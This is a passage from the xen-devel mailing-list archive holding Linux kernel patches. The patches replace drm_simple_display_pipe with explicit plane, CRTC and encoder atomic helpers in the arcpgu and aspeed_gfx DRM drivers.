+	ret = drm_encoder_init(drm, encoder, &arcpgu_encoder_funcs, DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
 	/*
 	 * There is only one output port inside each device. It is linked with
 	 * encoder endpoint.
@@ -293,29 +385,24 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	if (endpoint_node) {
 		encoder_node = of_graph_get_remote_port_parent(endpoint_node);
 		of_node_put(endpoint_node);
-	} else {
-		connector = &arcpgu->sim_conn;
-		dev_info(drm->dev, "no encoder found. Assumed virtual LCD on simulation platform\n");
-		ret = arcpgu_drm_sim_init(drm, connector);
-		if (ret < 0)
-			return ret;
-	}
 
-	ret = drm_simple_display_pipe_init(drm, &arcpgu->pipe, &arc_pgu_pipe_funcs,
-					   arc_pgu_supported_formats,
-					   ARRAY_SIZE(arc_pgu_supported_formats),
-					   NULL, connector);
-	if (ret)
-		return ret;
-
-	if (encoder_node) {
 		/* Locate drm bridge from the hdmi encoder DT node */
 		struct drm_bridge *bridge __free(drm_bridge_put) =
 			of_drm_find_and_get_bridge(encoder_node);
 		if (!bridge)
 			return -EPROBE_DEFER;
 
-		ret = drm_simple_display_pipe_attach_bridge(&arcpgu->pipe, bridge);
+		ret = drm_bridge_attach(encoder, bridge, NULL, 0);
+		if (ret)
+			return ret;
+	} else {
+		connector = &arcpgu->sim_conn;
+		dev_info(drm->dev, "no encoder found. Assumed virtual LCD on simulation platform\n");
+		ret = arcpgu_drm_sim_init(drm, connector);
+		if (ret < 0)
+			return ret;
+
+		ret = drm_connector_attach_encoder(connector, encoder);
 		if (ret)
 			return ret;
 	}
@@ -342,7 +429,7 @@ static int arcpgu_show_pxlclock(struct seq_file *m, void *arg)
 	struct drm_device *drm = node->minor->dev;
 	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(drm);
 	unsigned long clkrate = clk_get_rate(arcpgu->clk);
-	unsigned long mode_clock = arcpgu->pipe.crtc.mode.crtc_clock * 1000;
+	unsigned long mode_clock = arcpgu->crtc.state->mode.crtc_clock * 1000;
 
 	seq_printf(m, "hw  : %lu\n", clkrate);
 	seq_printf(m, "mode: %lu\n", mode_clock);

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363565.1615155 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzp-0001pk-NK; Thu, 16 Jul 2026 09:03:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363565.1615155; Thu, 16 Jul 2026 09:03:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzp-0001pT-8a; Thu, 16 Jul 2026 09:03:09 +0000
Received: by outflank-mailman (input) for mailman id 1363565;
 Thu, 16 Jul 2026 09:03:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkHzm-0001md-UZ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHzm-005dYC-Ai
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:06 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e45-5cb7-0a2a0a5109dd-0a2a450a8c7e-32
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:06 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e48-f2d2-0a2a450a0019-cddca883c1c6-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:05 +0200
Received: from pps.filterd (m0279865.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DNSn2193290
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:03 GMT
Received: from mail-pl1-f197.google.com (mail-pl1-f197.google.com
 [209.85.214.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fetcf0fqn-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:03 +0000 (GMT)
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2cce02cb769so39805145ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:03 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.02.55
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	3tiM2Xo9zA0AwLl933KbtXA0+pjiqMOmFkNsBFhqzo8=; b=O9/7xKQfaUdPOLcf
	47Wc9WqOJhDcpZvw6ig8VgPVsE02760Kn1LAnh+w7W5tbwEELiqdLkw41ky4ReK9
	+uPEd0WSzdJqM15s6LaHy27C86zf4WgmqlM9+t+trH8TYGHkUcXZ7hOKUZ29Z7QH
	uKAO5Wsxn/5mz9Sz9cotDVDKJT55oLN9N43wbKPH0QU4LdtdNRhLhHULxOdWBquE
	l57XJ4pJpFkq/Mpob8bIz2vfeD9qfkQIJOQVU/g3uYx5LuTcgwIdRCYO2q9a9M/c
	ugxJveHf6VpSJutCvcgMNTumSBTld04Nb4W5naMOVwDZh6VEw64auKdmcxvhpUuD
	k809pg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192583; x=1784797383; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=3tiM2Xo9zA0AwLl933KbtXA0+pjiqMOmFkNsBFhqzo8=;
        b=TyuYFxQj6+Nt271uEiBxsVa5uxAWAIyggKur0NrSMHztmGrGhQch6YYNb+EZ2S9MdI
         Bv1MFZetbgEBI+FBogxMYCxF9FDo0VMw08tl7Nd55humK+hQ24MzGShpYBR8qCregt7b
         PmmuobZzucaTbXe+dW96aSpxtbbb1qBp8N21B/wJYMeoxPeHoZ1Xta0ZBna9Nd8+qQBf
         JMIXDNvQWBbP1c9ROFbn/P1rIaa8MsICce9gwX09WTKZd3c2A6ut3xdUUTbguSPEArct
         ja5UOFfLJn3U5H8UjpOvapPA0uA7jpT6XNGD5+EE0HAR8y1YEkLW92m6uONkncGCl+tr
         Av8w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192583; x=1784797383;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=3tiM2Xo9zA0AwLl933KbtXA0+pjiqMOmFkNsBFhqzo8=;
        b=gKz4PomvD7O+/yWWn6rYInmT7pO9IDsUkSezphbZMLZ424LF+PCRfYSBSBE7j/fmJL
         aFZnXEAzrqJm06xfocYsXiI4ZPMH+L4uFljDnQtQAIYKqbVQXmqP5DJF67WVudrqF+Yo
         ZixBWmCpHAGAFPUCdza2RAtkSY0B+7JaAFnJ9BYikX7yw6enCQG2DB3yLw2nhWRMM6G7
         JRvSdx0kkllYzG3PTjfuNVeZOpxySwhFtGZoG0RWqC/MIjWR0TQbUNvxxVqO4N3e/HKx
         9R0BQjT2jiKDZanTP68T8eDYhQci6WiMGF3rOMH9uz/9d36AmaLT+olsE1F4cezgMQ+5
         iFnA==
X-Forwarded-Encrypted: i=1; AHgh+RoCRBFxpRroVWO5piM/s8imDs1vw7B0dkgkprcfDXvVeO2Z3XT3uPPXqNCsXxBaQ94aJ/XIdd7yPVs=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx73yl7lfKgNnf3gIILNQWyU67xdENbBebdJu2Ka96nNwTF5pqO
	WkwtRfZGwXEUNg/aMYITXsJVYJvk/dLowHKgc67Q+SQ0QypneMnqaCNIBZ17rxPJk+tUzM2jQYb
	+ED18GMU79kW8m1tod+DTgeXlSTsOdbDNEruQM+nEB3Pe6hRy6aiUhn+Bv1uAHWHKfoYfZrvNNL
	CJmHaK
X-Gm-Gg: AfdE7clDGiO5Fm+/jjFIEXHWAHI4kQJMr+dUOYM0yI7wxU6d/8pRV9LJgm8BOuSp2iU
	/pwPF5jCpdpuu4bjRlAmKT+MIPtjX70LQ3hIYxO3s4LDHcPIoMtxC7oBXv68lhS0d/gsyw4XOa0
	ieNx9y/VgxFj3IBgpUJiaNfvOgQ5MtGiI5ATD/kZKGfveAfbViBgNiYg9YHc1RZEJpARxAn0ugw
	uklgGGsCLeCpnQRvQDbFtbb+6QpDkmBcgGxNL0D7hA/DtsEettujQ2FEG7zTe7TD/NbVl7poWvy
	kDLRUw+uemBQr2lnHuR8XaKH2H2E0HxivxZ8NzOGJYMpIPmuhmmc3LhA86qBtz2hZ+UTbp63xOK
	QA1FEOk89gVWthf89OzZ6
X-Received: by 2002:a17:902:f607:b0:2cc:ed57:c7c with SMTP id d9443c01a7336-2ce9f02700cmr212712345ad.32.1784192582522;
        Thu, 16 Jul 2026 02:03:02 -0700 (PDT)
X-Received: by 2002:a17:902:f607:b0:2cc:ed57:c7c with SMTP id d9443c01a7336-2ce9f02700cmr212711795ad.32.1784192582033;
        Thu, 16 Jul 2026 02:03:02 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:54 +0800
Subject: [PATCH v2 2/8] drm/aspeed: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-2-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192559; l=12008;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=rgxLNMtjqM2teYTKXy4V5myTjAOMrw9ADBn88PQUgl0=;
 b=ao1ZOxz4FyLpOnjIgILtb38iIdAixsALUtxQDG2VQUbz8T8Og34pyHoZwIWje5N1T6AYfjR5S
 qn1GtR7rJPWCqaq+yohY4PFirxldOeXdvRZrYuYSVbXv6647oU82tUe
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-ORIG-GUID: ynu3m2S6O_UccHQacPgfIhO2doLBUBJP
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX+8D5U62wj4cn
 JYDeSD6ES7XWRw5YsIJQZ/SeMOFeiawGDChevT6p6zjdxUSPkNXynuqv4urV0wQMYrkTwJG+/xQ
 oIEMH+Xg1PwA2L4Fsf4jrkDKoqnoJRNW6s8tijtt/rp3mxEOPrra0Ajn90EPbh/cZn5BCkzqZlN
 9aabHJcLFsRlEGEzahJzhz5t+6qVApLx/GRWPjZ+JbIw/FdgEY6o+RDVba5oPbxfwnleVQS/HPh
 w4N0I+8eEvjciTbOwmHe5Q7lcU1OyQ5XnaC5aTVkmK/y3iZFWvr03vJNyZ7B5fgCAHmWRdkGNdM
 OL3eOn/t7haZWdmx1k8fCotHDI46Vj/kiXg4GdPjcrf3ggAYwUKTBOkrO8bPU/mAKOhR9IauHwi
 3MSBpjRtM91kbYw5SfPqmVwFKDuBQeLIa6UCO8D6dTLZa25iy6eSfHLKc0XjhenbFozU8pAN9wo
 lycv5LtQJb4jfqmGEdA==
X-Authority-Analysis: v=2.4 cv=f8R4wuyM c=1 sm=1 tr=0 ts=6a589e47 cx=c_pps
 a=cmESyDAEBpBGqyK7t0alAg==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=Um2Pa8k9VHT-vaBCBUpS:22
 a=EUspDBNiAAAA:8 a=DqWk4Bt2HhJbFETiZXkA:9 a=QEXdDO2ut3YA:10
 a=1OuFwYUASf3TG4hYMiVC:22
X-Proofpoint-GUID: ynu3m2S6O_UccHQacPgfIhO2doLBUBJP
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX6F255k+G7/mr
 VojQAnpRwOf4XCM6WXYmFJQRfZ+sDadcbuJ0kkwdy4lM3gWWvO4fMMrM5bQ7N0kKwJ/rKlSyFDF
 nkRPT7XOFN3MVF6SYY5IuMWR3uq/XMA=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 clxscore=1015 impostorscore=0 priorityscore=1501 bulkscore=0
 phishscore=0 suspectscore=0 lowpriorityscore=0 malwarescore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-4011c0/1784192585-4B8D5CFC-47AC3285/0/0
X-purgate-type: clean
X-purgate-size: 12010

Replace simple display pipe with explicit plane, CRTC and encoder
objects. Move callbacks to plane and CRTC helpers, with vblank handling
through drm_crtc_funcs.

Move page-flip event handling out of the plane update path and into the
CRTC atomic flush path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/aspeed/aspeed_gfx.h      |  11 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 187 ++++++++++++++++++++++---------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 3 files changed, 145 insertions(+), 56 deletions(-)

diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx.h b/drivers/gpu/drm/aspeed/aspeed_gfx.h
index 4e6a442c3886..61588f4273a0 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx.h
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx.h
@@ -2,7 +2,6 @@
 /* Copyright 2018 IBM Corporation */
 
 #include <drm/drm_device.h>
-#include <drm/drm_simple_kms_helper.h>
 
 struct aspeed_gfx {
 	struct drm_device		drm;
@@ -17,10 +16,16 @@ struct aspeed_gfx {
 	u32				throd_val;
 	u32				scan_line_max;
 
-	struct drm_simple_display_pipe	pipe;
+	struct drm_plane		plane;
+	struct drm_crtc			crtc;
+	struct drm_encoder		encoder;
 	struct drm_connector		connector;
 };
-#define to_aspeed_gfx(x) container_of(x, struct aspeed_gfx, drm)
+
+static struct aspeed_gfx *to_aspeed_gfx(struct drm_device *drm)
+{
+	return container_of(drm, struct aspeed_gfx, drm);
+}
 
 int aspeed_gfx_create_pipe(struct drm_device *drm);
 int aspeed_gfx_create_output(struct drm_device *drm);
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
index 7877a57b8e26..5946af36cc69 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
@@ -5,6 +5,8 @@
 #include <linux/reset.h>
 #include <linux/regmap.h>
 
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -12,22 +14,15 @@
 #include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 
 #include "aspeed_gfx.h"
 
-static struct aspeed_gfx *
-drm_pipe_to_aspeed_gfx(struct drm_simple_display_pipe *pipe)
-{
-	return container_of(pipe, struct aspeed_gfx, pipe);
-}
-
 static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv, u32 *bpp)
 {
-	struct drm_crtc *crtc = &priv->pipe.crtc;
+	struct drm_crtc *crtc = &priv->crtc;
 	struct drm_device *drm = crtc->dev;
-	const u32 format = crtc->primary->state->fb->format->format;
+	const u32 format = priv->plane.state->fb->format->format;
 	u32 ctrl1;
 
 	ctrl1 = readl(priv->base + CRT_CTRL1);
@@ -79,7 +74,7 @@ static void aspeed_gfx_disable_controller(struct aspeed_gfx *priv)
 
 static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
 {
-	struct drm_display_mode *m = &priv->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &priv->crtc.state->adjusted_mode;
 	u32 ctrl1, d_offset, t_count, bpp;
 	int err;
 
@@ -139,48 +134,33 @@ static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
 	writel(priv->throd_val, priv->base + CRT_THROD);
 }
 
-static void aspeed_gfx_pipe_enable(struct drm_simple_display_pipe *pipe,
-			      struct drm_crtc_state *crtc_state,
-			      struct drm_plane_state *plane_state)
+static void aspeed_gfx_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+						 struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 
 	aspeed_gfx_crtc_mode_set_nofb(priv);
 	aspeed_gfx_enable_controller(priv);
 	drm_crtc_vblank_on(crtc);
 }
 
-static void aspeed_gfx_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						  struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 
 	drm_crtc_vblank_off(crtc);
 	aspeed_gfx_disable_controller(priv);
 }
 
-static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
-				   struct drm_plane_state *plane_state)
+static void aspeed_gfx_plane_helper_atomic_update(struct drm_plane *plane,
+						  struct drm_atomic_commit *commit)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_framebuffer *fb = pipe->plane.state->fb;
-	struct drm_pending_vblank_event *event;
+	struct drm_plane_state *new_plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct aspeed_gfx *priv = to_aspeed_gfx(plane->dev);
+	struct drm_framebuffer *fb = new_plane_state->fb;
 	struct drm_gem_dma_object *gem;
 
-	spin_lock_irq(&crtc->dev->event_lock);
-	event = crtc->state->event;
-	if (event) {
-		crtc->state->event = NULL;
-
-		if (drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-	}
-	spin_unlock_irq(&crtc->dev->event_lock);
-
 	if (!fb)
 		return;
 
@@ -190,9 +170,9 @@ static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
 	writel(gem->dma_addr, priv->base + CRT_ADDR);
 }
 
-static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int aspeed_gfx_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	/* Clear pending VBLANK IRQ */
@@ -204,9 +184,9 @@ static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = to_aspeed_gfx(crtc->dev);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	reg &= ~CRT_CTRL_VERTICAL_INTR_EN;
@@ -216,12 +196,91 @@ static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(reg | CRT_CTRL_VERTICAL_INTR_STS, priv->base + CRT_CTRL1);
 }
 
-static const struct drm_simple_display_pipe_funcs aspeed_gfx_funcs = {
-	.enable		= aspeed_gfx_pipe_enable,
-	.disable	= aspeed_gfx_pipe_disable,
-	.update		= aspeed_gfx_pipe_update,
-	.enable_vblank	= aspeed_gfx_enable_vblank,
-	.disable_vblank	= aspeed_gfx_disable_vblank,
+static int aspeed_gfx_plane_helper_atomic_check(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs aspeed_gfx_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= aspeed_gfx_plane_helper_atomic_check,
+	.atomic_update	= aspeed_gfx_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs aspeed_gfx_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static int aspeed_gfx_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static void aspeed_gfx_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = new_crtc_state->event;
+
+	if (!event)
+		return;
+
+	new_crtc_state->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
+}
+
+static const struct drm_crtc_helper_funcs aspeed_gfx_crtc_helper_funcs = {
+	.atomic_check	= aspeed_gfx_crtc_helper_atomic_check,
+	.atomic_enable	= aspeed_gfx_crtc_helper_atomic_enable,
+	.atomic_disable	= aspeed_gfx_crtc_helper_atomic_disable,
+	.atomic_flush	= aspeed_gfx_crtc_helper_atomic_flush,
+};
+
+static const struct drm_crtc_funcs aspeed_gfx_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= aspeed_gfx_crtc_enable_vblank,
+	.disable_vblank		= aspeed_gfx_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs aspeed_gfx_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const uint32_t aspeed_gfx_formats[] = {
@@ -232,10 +291,36 @@ static const uint32_t aspeed_gfx_formats[] = {
 int aspeed_gfx_create_pipe(struct drm_device *drm)
 {
 	struct aspeed_gfx *priv = to_aspeed_gfx(drm);
+	struct drm_plane *plane = &priv->plane;
+	struct drm_crtc *crtc = &priv->crtc;
+	struct drm_encoder *encoder = &priv->encoder;
+	int ret;
+
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &aspeed_gfx_plane_funcs,
+				       aspeed_gfx_formats,
+				       ARRAY_SIZE(aspeed_gfx_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(plane, &aspeed_gfx_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&aspeed_gfx_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &aspeed_gfx_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, encoder, &aspeed_gfx_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
+	ret = drm_connector_attach_encoder(&priv->connector, encoder);
+	if (ret)
+		return ret;
 
-	return drm_simple_display_pipe_init(drm, &priv->pipe, &aspeed_gfx_funcs,
-					    aspeed_gfx_formats,
-					    ARRAY_SIZE(aspeed_gfx_formats),
-					    NULL,
-					    &priv->connector);
+	return 0;
 }
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
index 46094cca2974..b2d805f0c16d 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
@@ -21,7 +21,6 @@
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
